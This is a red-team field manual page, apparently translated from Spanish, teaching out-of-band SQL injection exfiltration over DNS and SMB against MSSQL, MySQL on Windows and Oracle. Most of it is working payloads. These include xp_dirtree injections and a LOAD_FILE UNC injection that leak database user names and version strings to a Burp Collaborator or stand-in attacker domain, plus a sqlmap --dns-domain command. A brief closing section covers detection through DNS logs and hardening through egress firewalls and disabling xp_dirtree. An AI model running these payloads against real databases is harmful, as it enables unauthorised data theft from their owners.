Ir al contenido

📕 FIELD MANUAL 4.1: OUT-OF-BAND (OOB) EXFILTRATION

Objective: We will exfiltrate data by forcing the server to connect to an external system controlled by us (DNS/SMB/HTTP).

0views

Classification: RED TEAM EYES ONLY

Objective: We will exfiltrate data by forcing the server to connect to an external system controlled by us (DNS/SMB/HTTP).

Targets: Microsoft SQL Server (Native), MySQL (Windows), Oracle.

Tools: Burp Collaborator, Interactsh, SQLMap.

MITRE ATT&CK: T1048 (Exfiltration Over Alternative Protocol).

1. INTEL & RECON: THE PHYSICS OF THE ATTACK

Sección titulada «1. INTEL & RECON: LA FÍSICA DEL ATAQUE»

We are injecting into an asynchronous application. We inject the payload, the app says “We will process your request,” and the query executes 1 minute later in a backend. We will never see the HTTP response.

We will inject an instruction that says: "Database, attempt to access the file \\SECRET.attacker.com\imagen.jpg"

For the server to know where attacker.com is, it must perform a DNS query. We will place the data we want to steal (e.g., the password) as a subdomain: \\password123.attacker.com\a

By looking at our DNS server logs, we will see: Query recibida de [IP_VÍCTIMA]: ¿Quién es password123.attacker.com?Data exfiltrated!

2. WEAPONIZATION: MSSQL & XP_DIRTREE (THE KING OF OOB)

Sección titulada «2. WEAPONIZATION: MSSQL & XP_DIRTREE (EL REY DEL OOB)»

Microsoft SQL Server is the king of this technique because it has native functions to interact with the file system and UNC (Universal Naming Convention) networks.

  1. We open Burp Suite Professional (or use interactsh if using open source tools).
  2. We will go to Collaborator and copy our payload (e.g., burp123.burpcollaborator.net).

This function will attempt to list a directory.

'; DECLARE @h varchar(8000); SELECT @h = 'master'+'.burp123.burpcollaborator.net'; EXEC master..xp_dirtree @h; --
  • Action: The server will attempt to resolve master.burp123....
  • Result: In our Collaborator, we will see a “DNS Interaction”.

Now we will place the actual data (e.g., user sa) in the subdomain.

'; DECLARE @data varchar(1024); SELECT @data = (SELECT user_name()); DECLARE @target varchar(1024); SELECT @target = '\\'+@data+'.burp123.burpcollaborator.net\foo'; EXEC master..xp_dirtree @target; --
  • Result in Collaborator: We will receive a DNS query looking for dbo.burp123.burpcollaborator.net.
  • Stolen data: dbo (Database Owner).

3. WEAPONIZATION: MYSQL & WINDOWS (UNC PATHS)

Sección titulada «3. WEAPONIZATION: MYSQL & WINDOWS (UNC PATHS)»

MySQL does not have xp_dirtree, but on Windows, functions that read files (LOAD_FILE) or write (INTO OUTFILE) can accept UNC network paths.

Requirements:

  1. The MySQL server must run on Windows.
  2. secure_file_priv must be empty (disabled).
' UNION SELECT 1, LOAD_FILE(CONCAT('\\\\', (SELECT version()), '.burp123.burpcollaborator.net\\a.txt')), 3, 4 -- -

(Note the four slashes \\\\ to escape correctly in SQL).

If it works, MySQL will attempt to read that remote file, triggering the DNS query with the database version.

SQLMap will automate this perfectly if we have a controlled domain.

Command:

sqlmap -u "http://target/app.php?id=1" --dns-domain="atacante.com" --dbs
  • -dns-domain: SQLMap will set up a mini fake DNS server on our machine (we need port 53 open and accessible from the internet, or use port forwarding). SQLMap will encode the data in HEX to avoid issues with strange characters in DNS.

OOB traffic is invisible in web logs, but noisy on the network.

  1. Corporate DNS Logs: We will look for DNS resolutions generated by our Database servers.
    • Critical Anomaly: Why is the SQL01 server attempting to resolve xyz.burpcollaborator.net or strange long-length domains?
    • DB servers should never initiate connections to the Internet, let alone arbitrary DNS queries.

The defense here is not in the code (aside from fixing the SQL injection), but in the network architecture.

  1. Egress Firewall: We will block port 53 (DNS) and 445 (SMB) from the database servers to the Internet. If the DB cannot "speak" outward, the OOB technique dies.
  2. MSSQL Hardening: If we do not use it, we will disable xp_dirtree and xp_fileexist.
  3. MySQL Hardening: We will configure secure_file_priv to NULL or a specific local directory to prevent LOAD_FILE from accessing network paths.

Status: Module 4.1 Completed. Note: In bWAPP (default Linux environment), MySQL's DNS UNC technique will not work (because Linux does not use UNC \\server\share). But it is VITAL to know it for Windows corporate environments.